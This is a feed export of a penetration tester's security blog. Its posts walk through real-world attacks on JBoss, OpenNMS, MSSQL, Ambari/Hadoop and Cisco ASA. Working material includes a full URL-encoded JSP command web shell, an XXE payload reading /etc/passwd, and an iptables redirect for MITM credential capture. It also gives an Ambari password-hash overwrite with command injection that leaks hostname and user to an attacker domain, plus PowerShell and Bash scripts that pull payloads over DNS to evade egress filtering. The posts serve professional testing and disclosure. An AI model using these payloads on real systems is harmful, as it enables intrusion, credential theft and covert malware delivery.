tag:blogger.com,1999:blog-61605462990966329252024-02-19T01:19:31.992-08:00alert(1)Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.comBlogger23125tag:blogger.com,1999:blog-6160546299096632925.post-74350861268391353662015-11-03T16:37:00.002-08:002015-11-03T16:37:50.578-08:00The Proud Owner of a New Shiny Blog<div dir="ltr" style="text-align: left;" trbidi="on">
Although you probably haven't noticed, things around here have been pretty quiet lately. That's partly because I've been saving up all my cool stuff for a new blog! I just dropped the first two posts at <a href="http://foxglovesecurity.com/">http://foxglovesecurity.com</a>. For those actually reading this, I recommend keeping an eye on it or following @foxglovesec, there's going to be a third post later this week that will really knock your socks off.<div>
<div>
<br /></div>
<div>
Going forward, this blog will likely become a space to post things that my team members at FoxGlove Security wouldn't approve of, or don't care about.</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-840494875026664612015-08-17T07:19:00.002-07:002015-08-17T07:19:54.550-07:00Bad AS - More on Broken JBoss Configurations<div dir="ltr" style="text-align: left;" trbidi="on">
It's been a while since I've posted anything about JBoss. Once in a while I still get an email or IM about someone trying to use the exploit code released here or in the "clusterd" framework against a JBoss instance that should be vulnerable, but seems to fail when the payload attempts to deploy. This was (and still is) a bit of a mystery, mostly because I haven't spent the time to reproduce these configurations.<br />
<br />
In a somewhat recent engagement, my team ran up against such a JBoss instance for the first time. Authentication was not enabled on the HtmlAdaptor interface or jmx-console interfaces. They could be accessed, properties could easily be changed, but when a shell was deployed through either of the two JBoss deployers that we had used in previous exploits (MainDeployer or DeploymentFileRepository), the deployment would fail and the shell would not be accessible.<br />
<br />
I was highly motivated to get the exploit working and decided to dive a little deeper, eventually finding a workaround that should avoid a lot of future headaches.<br />
<br />
<h3 style="text-align: left;">
Phase 1 - Reconfiguration</h3>
<div>
The first phase of this exploit involves applying a configuration change to the "DeploymentFileRepository" through the HtmlAdaptor. This should also be possible through the "JMXInvokerServlet" interface, however I haven't had the joy of jumping through those hoops yet. The page is accessed at: </div>
<div>
<ul style="text-align: left;">
<li>/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository</li>
</ul>
<div>
The property "BaseDir" should be updated to point to jmx-console.war as follows:</div>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcLbEloleWfu-dgr25UmE8j3YYebVAiZLNEd1Cj_CuyuDhek4pSMF9EaVDJM9PLtqXV6B4T9S_xeHMiSRrOmsU5B-yK41m3lBnydgDJCbgeAqUswXjmfn6bC6t80fmUB8jaCGFefTSIfU/s1600/change-dfs-root.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="275" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcLbEloleWfu-dgr25UmE8j3YYebVAiZLNEd1Cj_CuyuDhek4pSMF9EaVDJM9PLtqXV6B4T9S_xeHMiSRrOmsU5B-yK41m3lBnydgDJCbgeAqUswXjmfn6bC6t80fmUB8jaCGFefTSIfU/s640/change-dfs-root.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Note that this works because jmx-console.war is an "exploded" war file - ie. a directory with ".war" in the name. Anything you put in this directory is accessible at http://host:port/jmx-console/... It should be obvious at this point where this is going.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<h3 style="clear: both; text-align: left;">
Phase 2 - Shell Upload</h3>
<div>
Now we can use any method we please to attempt to deploy a malicious "war" file to the application server. Since we're already on the DeploymentFileRepository configuration page, I just did it directly from there, as follows:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4dv0RYHgEMZU2XxmMIMKizMafoNoDqVV6HyuhyphenhyphenStnyisXuGzM1ZkxWDgUDVo_0N9eH3vCt8cAN7as18dAGrjDRKWcLHHWcm6PIwGBKFyQpyTvreM5Le1G6cil-2Om5lJx85JLI1xla1I/s1600/upload-war-shell.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="61" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4dv0RYHgEMZU2XxmMIMKizMafoNoDqVV6HyuhyphenhyphenStnyisXuGzM1ZkxWDgUDVo_0N9eH3vCt8cAN7as18dAGrjDRKWcLHHWcm6PIwGBKFyQpyTvreM5Le1G6cil-2Om5lJx85JLI1xla1I/s640/upload-war-shell.png" width="640" /></a></div>
<div>
<br /></div>
<div>
The resulting POST request when invoking the operation looks like this:</div>
<div style="text-align: left;">
<ul style="text-align: left;">
<li><i><span style="font-size: xx-small;">action=invokeOp&name=jboss.admin%253Aservice%253DDeploymentFileRepository&methodIndex=5&arg0=testshell.war&arg1=test&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%3C%25%25%3E%3CHTML%3E%3CBODY%3ECommands+with+JSP%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%3C%2FFORM%3E%3Cpre%3E%3C%25if+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B++++Process+p%3B++++if+%28+System.getProperty%28%22os.name%22%29.toLowerCase%28%29.indexOf%28%22windows%22%29+%21%3D+-1%29%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28%22cmd.exe+%2FC+%22+%2B+request.getParameter%28%22cmd%22%29%29%3B++++%7D++++else%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B++++%7D++++OutputStream+os+%3D+p.getOutputStream%28%29%3B++++InputStream+in+%3D+p.getInputStream%28%29%3B++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B++++String+disr+%3D+dis.readLine%28%29%3B++++while+%28+disr+%21%3D+null+%29+%7B++++out.println%28disr%29%3B++++disr+%3D+dis.readLine%28%29%3B++++%7D%7D%25%3E%3C%2Fpre%3E%3C%2FBODY%3E%3C%2FHTML%3E&arg4=True</span></i></li>
</ul>
</div>
<h3 style="text-align: left;">
Phase 3 - Shell Access</h3>
<div>
At this point your shell is not actually "deployed" to JBoss - because deployment was failing and that's the whole reason we went through all this trouble in the first place. However, the actual upload step is decoupled from deployment, and even if deployment fails, those uploaded files remain on the server. With the values I used for the test shell above, you would then be able to access your shell at:</div>
<div>
<ul style="text-align: left;">
<li>http://host:port/jmx-console/testwar.war/test.jsp</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFpbSwBA4F5mLkxpSd3iz4bufSgJNfNUiwiuZwihMKEWUuURvPYePgcsUrqu6VPC_UuRkYKiWqklnhAXe_LmjNCiRZtjn_OI3b5Smxo_xVPUGXBdGokGqBJVuZ4TdCf-ISxG0MYYr8HRE/s1600/cmdexec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="190" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFpbSwBA4F5mLkxpSd3iz4bufSgJNfNUiwiuZwihMKEWUuURvPYePgcsUrqu6VPC_UuRkYKiWqklnhAXe_LmjNCiRZtjn_OI3b5Smxo_xVPUGXBdGokGqBJVuZ4TdCf-ISxG0MYYr8HRE/s400/cmdexec.png" width="400" /></a></div>
<div>
<br /></div>
</div>
<br />
<h3 style="text-align: left;">
Further Work</h3>
<div>
As mentioned previously, in theory this work work with the JMXInvokerServlet and EJBInvokerServlet deployers, it would just require a little bit of coding.</div>
<div>
<br /></div>
<br /></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-42671311909962882292015-01-21T11:24:00.003-08:002015-01-21T11:24:34.049-08:00OpenNMS 0-day -> XXE to Shell<div dir="ltr" style="text-align: left;" trbidi="on">
OpenNMS is an open source network management application. We see these things occasionally on internal penetration tests and given the nature of network monitoring systems, they can be an attractive target. If you pop the NMS, sometimes you can find credentials or keys for other servers and devices, or if the box is based on a standard internal build and you can crack (or find) a local account password, you might be able to gain some lateral movement.<br />
<br />
With that in mind, and the fact that there weren't a lot of other interesting targets on this particular network, we set to work.<br />
<br />
The OpenNMS login page was discovered using the tool we recently dropped at Schmoocon, httpscreenshot (https://github.com/breenmachine/httpscreenshot). Any time I see a login page for some unknown device or service I consult Google with "<devicename> default password". If you do that now, you'll find references to this vulnerability, but just a month or so ago you would have seen the following page among the top results:<br />
<br />
<ul style="text-align: left;">
<li>http://marc.info/?l=opennms-discuss&m=112809902228006</li>
</ul>
<div>
The above references a default account named "rtc" with password "rtc". Almost noone changes the password on this account (except that one guy in the forum post apparently), because it is an ultra low privilege service account that simply talks to the OpenNMS web service. Logging into the web interface with this account proved useless, while authentication succeeds, no options are available.</div>
<div>
<br /></div>
<div>
Knowing that the account must be used for something, a little more Googling turned up the "rtc" URL and the fact that it was actually an XML based web service. With that in mind, I decided to take a shot in the dark at XXE:</div>
<div>
<br /></div>
<br />
<div style="text-align: left;">
<i><span style="font-size: x-small;">POST /opennms/rtc/post/xxxxx HTTP/1.1</span></i></div>
<div style="text-align: left;">
<div>
<i><span style="font-size: x-small;">Host: 1.2.3.4:8980</span></i></div>
<div>
<i><span style="font-size: x-small;">User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0</span></i></div>
<div>
<i><span style="font-size: x-small;">Accept: */*</span></i></div>
<div>
<i><span style="font-size: x-small;">Accept-Language: en-US,en;q=0.5</span></i></div>
<div>
<i><span style="font-size: x-small;">Accept-Encoding: gzip, deflate</span></i></div>
<div>
<i><span style="font-size: x-small;">Referer: http://1.2.3.4:8980/opennms/frontPage.htm</span></i></div>
<div>
<i><span style="font-size: x-small;">Cookie: JSESSIONID=somethingsomethingsomething</span></i></div>
<div>
<i><span style="font-size: x-small;">Connection: keep-alive</span></i></div>
<div>
<i><span style="font-size: x-small;">Content-Length: 151</span></i></div>
<div>
<i><span style="font-size: x-small;"><br /></span></i></div>
<div>
<i><span style="font-size: x-small;"><?xml version="1.0" encoding="ISO-8859-1"?></span></i></div>
<div>
<i><span style="font-size: x-small;"><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo></span></i></div>
<div>
<i><span style="font-size: x-small;"><br /></span></i></div>
<div>
Of course it worked, I probably wouldn't be writing this otherwise.</div>
<div>
<br /></div>
<div>
The shell was trivially obtained by pulling /root/.ssh/ssh_rsa and logging into the machine...</div>
<div>
<br /></div>
<div>
Juken, (https://jstnkndy.github.io) reported the vulnerability to OpenNMS and had a CVE assigned. They did a really cool and detailed wiki post: http://www.opennms.org/wiki/CVE-2015-0975</div>
<div>
<br /></div>
<div>
He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585</div>
</div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-7263156156489068442014-12-16T13:16:00.000-08:002014-12-16T13:16:02.306-08:00MSSQL MITM FTW - Ettercap and Responder to Intercept (plaintext!) MSSQL Creds<div dir="ltr" style="text-align: left;" trbidi="on">
A fun exercise in confidentiality vs authentication, and why "encrypted" doesn't always mean secure.<br />
<br />
Imagine the (common) scenario where some sort of service needs to interact with an MSSQL database. The client application opens a "secure" connection with MSSQL, sends over the username and password to authenticate, runs some queries, does its thing, wash, rinse repeat.<br />
<br />
All the communication is encrypted so we're good right...? It all depends how you establish that "secure" connection between the client and server. It turns out, by default, MSSQL and the clients that connect to it use and trust self-signed certificates when doing SQL server authentication.<br />
<br />
Once you realize this, the dominos start to fall. What this means is that if you're on the same network as a SQL server and you can conduct a man-in-the-middle attack, you can actually trick any clients that connect to that server (using SQL server authentication) to send you their credentials!<br />
<br />
On a recent test, we ran into this exact scenario. Not much going on on the network except some MSSQL traffic so I decided to run with a hunch and see what would happen.<br />
<br />
The first step was to identify the SQL server and setup Ettercap to ARP spoof traffic between the SQL server and the gateway. Easy enough - now the SQL server traffic is flowing through our machine.<br />
<br />
Next we run Responder.py and have it enable it's SQL Server authentication listener. This spins up a "fake" SQL server that will log any credentials sent to it.<br />
<br />
Finally - a simple IPTables rule to redirect traffic bound for the real DBMS to the listener running on our machine "iptables -t nat -A PREROUTING -p tcp --dport 1433 -j REDIRECT --to-ports 1433". This will break things. Any connections to the DBMS that are currently open will probably break, the client will try to re-authentication, we'll catch the creds.<br />
<br />
SQL Server can then be used to pivot into the network/domain with xp_cmdshell, extract sensitive data etc...<br />
<br />
The mitigation here is to use a strong password and Windows or Domain authentication for SQL server.</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com1tag:blogger.com,1999:blog-6160546299096632925.post-49295100248068636322014-12-11T13:18:00.000-08:002014-12-11T13:18:08.875-08:00Raining Shells - Ambari "0-day"<div dir="ltr" style="text-align: left;" trbidi="on">
Something that we're starting to see occasionally on penetration tests are Hadoop clusters and all of the associated technologies that go along with them.<br />
<br />
The old security model for these things used to be "Trust your network" - ie: Lock them in a room, somewhere behind a firewall, and cross your fingers. Nowadays however bleeding edge security features such as usernames and passwords have been implemented on many of the administrative interfaces for these services *gasp*.<br />
<br />
On a recent penetration juken (http://jstnkndy.github.io/) and I ran into a semi-locked down Hadoop cluster. The HDFS file browsing web interfaces were still enabled and didn't require authentication (eg: <a href="http://10.64.8.31:1022/browseDirectory.jsp?namenodeInfoPort=50070&dir=/&delegation=IwAGZHIud2hvBmRyLndobwCKAUowUReEigFKVF2bhI7QTY-EFKmCQ5uqimaBZaiz4JBpQtJ-JUfEFUhERlNfREVMRUdBVElPTl9UT0tFTgA&nnaddr=10.64.8.29:8020">http://<namenode host>:1022/browseDirectory.jsp</a>) but we wanted shells, and lots of them.<br />
<br />
So where to start? A quick portscan and httpscreenshot run showed a number of management and monitoring tools running. After some initial stumbling around and default password checking on the web interfaces we'd come up dry. In a short moment of brialliance, Juken decided to try the default DBMS credentials on the Postgresql database server for the Ambari administrative tool - they worked.<br />
<br />
Ambari is a provisioning tool for Hadoop clusters. With a few clicks, you can instruct it to install different packages like YARN, Hadoop, HDFS, etc.. on the various nodes that it manages. Unfortunately there is no official "feature" to send yourself a bash shell on the remote machines.<br />
<br />
With credentials to the Postgres database, it was trivial to create a new admin user in Ambari with the password of "admin". They hash with sha256 bcrypt and a random salt... the easiest way is to just add a new user or modify the existing admins password with the following:<br />
<pre style="background-color: white; white-space: pre-wrap;">
</pre>
<pre style="white-space: pre-wrap;"><i style="background-color: #38761d;">update ambari.users set
user_password='538916f8943ec225d97a9a86a2c6ec0818c1cd400e09e03b660fdaaec4af29ddbb6f2b1033b81b00'
where user_name='admin'</i></pre>
<br />
Unfortunately, Ambari needs to be restarted for new users or changed passwords to take effect... so now you must wait.<br />
<br />
Eventually the change was applied and we were in. After some time and much frustration with technology we aren't exactly familiar with, we found the undocumented "shell" feature - it's always there somewhere, you just have to look hard enough.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5To3HcTFmBYnmq3rs8a5J-LIJYR80pV8XOVp1td5liXgoRyi2N8d5jznbQ_vu4LY_uNrUdN2pI8dACq7gy6g_RVOncFhwOF4m_-Ik-VN2klak2laG2DAc_grs0HEKD5-3dLjExbXrquE/s1600/Screenshot+from+2014-12-11+16:08:34.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5To3HcTFmBYnmq3rs8a5J-LIJYR80pV8XOVp1td5liXgoRyi2N8d5jznbQ_vu4LY_uNrUdN2pI8dACq7gy6g_RVOncFhwOF4m_-Ik-VN2klak2laG2DAc_grs0HEKD5-3dLjExbXrquE/s1600/Screenshot+from+2014-12-11+16:08:34.png" height="138" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
It turns out that for the HDFS service (and probably all the others) you can inject commands into the java heapsize parameter. The Javascript on the front-end of the app doesn't like it - but if you do it through BURP, the changes will be applied/saved. Restart the service and boom goes the dynamite - your command gets executed on every namenode/datanode in the cluster.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
In the screenshot, we did `ping \`hostname\`.\`whoami\`.somedomainweown.com` - we own the authoritative nameserver for that domain and listen on port 53. Watch the DNS requests for things like "server1.root.somedomain.com" roll in</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com0tag:blogger.com,1999:blog-6160546299096632925.post-28270182837356197262014-10-27T21:39:00.001-07:002014-10-28T20:55:17.693-07:00Cisco ASA SSL VPN Backdoor PoC (CVE-2014-3393)<div dir="ltr" style="text-align: left;" trbidi="on">
A coworker and I recently had the opportunity to work with a new vulnerability released at Ruxcon just earlier this month and while we didn't get exactly what we wanted, it was quite interesting.<br />
<br />
The conference presentation was titled "Breaking Bricks and Plumbing Pipes: Cisco ASA a Super Mario Adventure" <a href="https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf">https://ruxcon.org.au/assets/2014/slides/Breaking%20Bricks%20Ruxcon%202014.pdf</a> and was EXTREMELY interesting. The researcher Alec Stuart-Muirk managed the "jailbreak" the ASA and from there do some cool things with it, including a code audit of the publicly facing SSL VPN interface.<br />
<br />
One thing that come out during the code audit was that the authorization check on some of the administrative interface pages can be bypassed by setting the cookie value to any valid file on the file system. I'm not going to get into too much detail because the slides cover it well, but basically this allows you to make modifications to the SSL VPN page WITHOUT AUTHENTICATION. This vulnerability is CVE-2014-3393 and affected versions can be found at <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3393">http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3393</a>. He also released a way to pull the version from a remote ASA - it's as simple as hitting the following URL: https://<IP ADDRESS>/CSCOSSLC/config-auth<br />
<br />
As a penetration tester this is very interesting because it allows us to backdoor the SSL VPN, and easily intercept plaintext credentials. Even those using 2 factor authentication wouldn't be safe from such an attack as the attacker could immediately use the intercepted token to login.<br />
<br />
We spotted the SSL VPN login page in the wild recently and decided to take a crack at this vulnerability. The first step was to get a test setup running - since none of us own an ASA we "acquired" a virtual one. There might be a VMWare image <a href="http://certcollection.org/forum/topic/234249-cisco-adaptive-security-virtual-appliance-asav/">here</a> with such a thing running a vulnerable version.<br />
<br />
After that, we simply proxied and intercepted the target requests. Interestingly, we had to make some modifications to the PoC posted in the Ruxcon presentation to get it to work (remove the User-Agent header from the cedsave request), indicating minor version differences may require further testing to get running. After making the appropriate modifications to the target requests, as detailed in the Ruxcon presentation, we were successfully able to backdoor our SSL VPN without authentication! Really cool stuff!<br />
<br />
For those who would like to try at home, I've uploaded a BURP state <a href="https://github.com/breenmachine/various">https://github.com/breenmachine/various</a> with the required requests in the "Repeater" tab to save you from typing them. This was tested on version ASA 9.2(1) and probably will require modification for other versions. Simply configure your ASA, point BURP at it, and give it a shot.<br />
<br />
If anyone gets this working on other versions of ASA, I'd like to hear about the necessary modifications.<br />
<br />
EDIT:<br />
For those without a copy of BURP Pro, these are the requests you'll need:<br />
http://pastebin.com/D7H9CVPf<br />
http://pastebin.com/iLGWDDEQ<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDA07CDBurWGKiEU97bLEp1MglqutU7TcdCavRdOuiinX3Lps-WpOvjTYg5A0McOWCiESM4dIJQjOJkQ4P8cMNh0oJuudg3deIc5mJ5CmxqtU6aw3VamYZDuYNW8gFdszy86vy7eIcW2Y/s1600/backdoor.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjDA07CDBurWGKiEU97bLEp1MglqutU7TcdCavRdOuiinX3Lps-WpOvjTYg5A0McOWCiESM4dIJQjOJkQ4P8cMNh0oJuudg3deIc5mJ5CmxqtU6aw3VamYZDuYNW8gFdszy86vy7eIcW2Y/s1600/backdoor.png" height="143" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com32tag:blogger.com,1999:blog-6160546299096632925.post-23344509120613125992014-09-16T19:27:00.000-07:002014-09-16T20:56:16.369-07:00Transfer File Over DNS in Windows (with 13 lines of PowerShell)<div dir="ltr" style="text-align: left;" trbidi="on">
In a previous post (http://breenmachine.blogspot.ca/2014/03/downloading-files-through-recursive-dns.html) I mentioned that it is possible to download files through recursive DNS queries with Bash or Powershell.<br />
<br />
This was done through a client/server setup where the server hosts a particular file and the clients were to be written in very short scripts that could be feasibly re-created by hand on-demand to deliver binary payloads to machines.<br />
<br />
There are a number of feasible scenarios where this is useful. For example, if you have physical access to a machine that is on a locked down network segment with restricted egress traffic. Or the example that came up in a recent penetration test was that we had command execution on a remote database server through SQLi, however no traffic was allowed egress to to the internet from the database server so we couldn't directly establish a C&C channel. Using this script, combined with CobaltStrike Beacon over DNS we were able to get a fully functional Meterpreter shell tunneling over DNS (and it was surprisingly fast).<br />
<br />
In my previous post, I released the code for a Bash client and the Python server. I'm now releasing code for the (probably more useful to most people) Powershell client script, and it only ended up being 13 lines!<br />
<br />
Can be found on github (https://github.com/breenmachine/dnsftp) - or below. Usage is simply:<br />
<br />
On the server hosting the file:<br />
./server.py -f /path/to/file<br />
<br />
On the target client to deliver the binary:<br />
powershell client.ps1 -server where.your.server.resolves.com<br />
<br />
param ([string]$server)<br />
$payload=""<br />
for($i=0;$i -ge 0;$i++){<br />
$command='cmd.exe /C nslookup -type=TXT '+$i+'.$server'<br />
$a=Invoke-Expression -Command:$command<br />
$c=[string]$a<br />
$fIdx=$c.IndexOf('"')+1<br />
$lIdx=$c.LastIndexOf('"')<br />
$len=$lIdx-$fIdx<br />
if($error.Count -ge 1){$i=-10}<br />
$payload=$payload+$c.Substring($fIdx,$len)}<br />
$o=[Convert]::FromBase64String($payload)<br />
[io.file]::WriteAllBytes('output',$o)<br />
<br />
There are a few caveats here. The error handling isn't great. If you see that the client calls it quits before it fetches all of the chunks of your payload - run it again. It means the DNS server didn't get a response from your server in time. You may have to run the client a few times, each time it will pull TXT records from its cache up to the one where it made an error, eventually getting your whole file. To optimize this for larger payloads, some simple error handling could be added, but I wanted to keep the client script pretty bare-bones.<br />
<div>
<br /></div>
</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com3tag:blogger.com,1999:blog-6160546299096632925.post-86959127012238359432014-08-21T20:22:00.000-07:002014-08-21T20:22:07.262-07:00BlackHat Talk and Railo Shoutout<div dir="ltr" style="text-align: left;" trbidi="on">
Haven't really talked about it much here but recently finished up some research and my BlackHat USA 2014 presentation titled "Mobile Device Mismanagement" - http://www.slideshare.net/breenmachine/mobile-device-mismanagement.<br />
<br />
Unfortunately we couldn't release much technical detail which isn't my normal style - some vendors have been quite slow to patch and some of the issues are very serious (i.e. pre-authentication RCE on a system that appears to be storing everyone's domain credentials in plaintext).<br />
<br />
Overall the MDM stuff has been pretty interesting. The attack vectors are very realistic because these are systems that can not be firewalled off from the Internet, yet they expose some pretty sensitive functionality.<br />
<br />
Also a shout out and reference to some work I've done with drone on vulnerabilities and some exploits we've whipped up for the Railo framework (an opensource implementation of ColdFusion).<br />
<br />
It's a bit of a mess, actually surprisingly bad when it comes to security. Drone's done a good job with the details so I'm just going to leave this here:<br />
<br />
http://hatriot.github.io/blog/2014/06/25/railo-security-part-one/<br />
http://hatriot.github.io/blog/2014/07/24/railo-security-part-two/<br />
<br />
Look forward to part 3 - it's going to be good.</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com1tag:blogger.com,1999:blog-6160546299096632925.post-34819814577578876012014-07-14T12:01:00.003-07:002014-07-14T12:29:08.019-07:00Dumping Data from Memcached Servers<div dir="ltr" style="text-align: left;" trbidi="on">
Just a quick update from a recent test. Will probably have some more interesting stuff coming soon but none is ready to go public quite yet.<br />
<br />
Memcached servers provide a dynamic, distributed memory object caching system to improve application performance. The security model for Memcache is basically "trust your network", and unfortunately most networks can't be trusted.<br />
<br />
You'll find the service listening on port 11211 by default. On a recent test we discovered a memcached server and after some research into extracting the data from it, came up empty. In response, I've developed a python script to dump data from memcached servers:<br />
<br />
https://github.com/breenmachine/memcachedumper<br />
<br />
This service is interesting because you not only get to read the potentially sensitive data in the cache, but it is also trivial to modify values already in the cache. This can be done simply by accessing the "memcached" server over telnet and using the "set" command as documented here:<br />
<br />
https://code.google.com/p/memcached/wiki/NewCommands<br />
<br />
One interesting attack vector here would be stored XSS in a web application, or potentially SQL injection if the application is caching SQL queries (which some appear to do).</div>
Anonymoushttp://www.blogger.com/profile/14557935438165448741noreply@blogger.com2tag:blogger.com,1999:blog-6160546299096632925.post-9346753583156633322014-03-20T13:27:00.000-07:002014-03-20T13:27:17.373-07:00Downloading Files Through Recursive DNS With Bash (Or PowerShell)<div dir="ltr" style="text-align: left;" trbidi="on">
I often run into networks with extremely restricted outbound firewall rules. Usually outbound traffic is whitelisted to a small number of hosts. The scenario here is that you've somehow gained access to a machine on such a network and you need a way to transfer tools/data to this machine.<br />
<br />
<br />
In these scenarios where you've got a really locked down environment, one of my go-to methods for getting data in and out is to tunnel it through recursive DNS queries. If the target machines nameserver (or any nameserver it can talk to on the network) will do recursive queries out to the Internet, you're in luck. I find this is almost always the case.<br />
<br />
<br />
For those who may be unfamiliar with this technique the scenario looks something like this:<br />
<br />
<br />
Target <---> Internal DNS Server <-----> Registrar Nameserver <------> Attackers Remote Machine<br />
<br />
<br class="Apple-interchange-newline" />There are a number of existing tools to do this (dnscat, iodine...) Unfortunately all of the ones I could find to accomplish this require a binary to be loaded onto the target machine. The whole reason I need to tunnel things over DNS in the first place with this scenario is so I can load binaries onto the target!<br />
<br />
So my goal was to do this with a client/server where the client script uses only tools native to the host OS. Ideally the client script should also be short incase it needed to be written out by hand (physical access) or through some blind command execution exploit. Using such a script, you could pull down other, more complex binaries (like iodine or dnscat, or privilege escalation tools).<br />
<br />
<br />
The easiest way I thought of to do it was to have the server base64 encode a specified file, split it into chunks, and server those chunks up in TXT records. For example:<br />
<br />
bm@mybox:~/Code/dnsftp$ sudo ./server.py -f ../nbtool/dnscat<br />
DEBUG:root:[+] Bound to UDP port 53.<br />
DEBUG:root:[+] Waiting for request...<br />
<br />
bm@mybox:~/Code/dnsftp$ dig +short @localhost 0.dns.testdomain.com<br />
"f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAUBpAAAAAAABAAAAAAAAAAOCQAgAAAAAAAAAAAEAAOAAIAEAAJQAiAAYAAAAFAAAAQAAAAAAAAABAAEAAAAAAAEAAQAAAAAAAwAEAAAAAAADAAQAAAAAAAAgAAAAAAAAAAwAAAAQAAAAAAgAAAAAAAAACQAAAAAAAAAJAAAAA"<br />
<br />
bm@mybox:~/Code/dnsftp$ dig +short @localhost 1.dns.testdomain.com<br />
"AAAcAAAAAAAAABwAAAAAAAAAAQAAAAAAAAABAAAABQAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAGRRAQAAAAAAZFEBAAAAAAAAACAAAAAAAAEAAAAGAAAAaFEBAAAAAABoUWEAAAAAAGhRYQAAAAAA2AQAAAAAAAAIBQAAAAAAAAAAIAAAAAAAAgAAAAYAAACAUQEA"<br />
<br />
<div>
<br /></div>
<div>
So we have a server spitting out chunks of a base64 encoded binary in response to sequential TXT record requests. A simple client written in bash can automate the process of pulling and re-assembling the file:</div>
<div>
<br /></div>
<div>
<div>
<i>#!/bin/bash</i></div>
<div>
<i>error=';; connection timed out; no servers could be reached'</i></div>
<div>
<i>i=0</i></div>
<div>
<i>echo ''> output.b64</i></div>
<div>
<i>while :</i></div>
<div>
<i>do</i></div>
<div>
<i> RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`</i></div>
<div>
<i> if [ "$RESP" = "$error" ];</i></div>
<div>
<i> then</i></div>
<div>
<i> echo "Timeout - done"</i></div>
<div>
<i> break</i></div>
<div>
<i> fi</i></div>
<div>
<i> echo -ne $RESP >> output.b64</i></div>
<div>
<i> echo $RESP</i></div>
<div>
<i> i=$((i+1))</i></div>
<div>
<i>done</i></div>
<div>
<i>cat output.b64 | base64 -d > output</i></div>
</div>
<br />
Notice in the above script we don't use "dig @localhost" anymore - the request goes through some DNS servers on the Internet and eventually makes it to our "server.py" file. For this to work correctly, you need to have your server that runs server.py setup to be authoritative for a subdomain. This can be configured with your registrar.<br />
<br />
<br />
Sample Usage:<br />
<br />
<ul style="text-align: left;">
<li>Configure your server where you will run server.py to be the authoritative nameserver for a subdomain (e.g: dns.testdomain.com). Do this with the registrar where you've registered testdomain.com.</li>
<li>On the server, run sudo ./server.py -f someFile</li>
<li>On the client, run ./client.sh dns.testdomain.com</li>
<li>At this point you should see the client and server start puking base64 debugging output. The client will write the base64 to disk and then decode it when done.</li>
</ul>
<div>
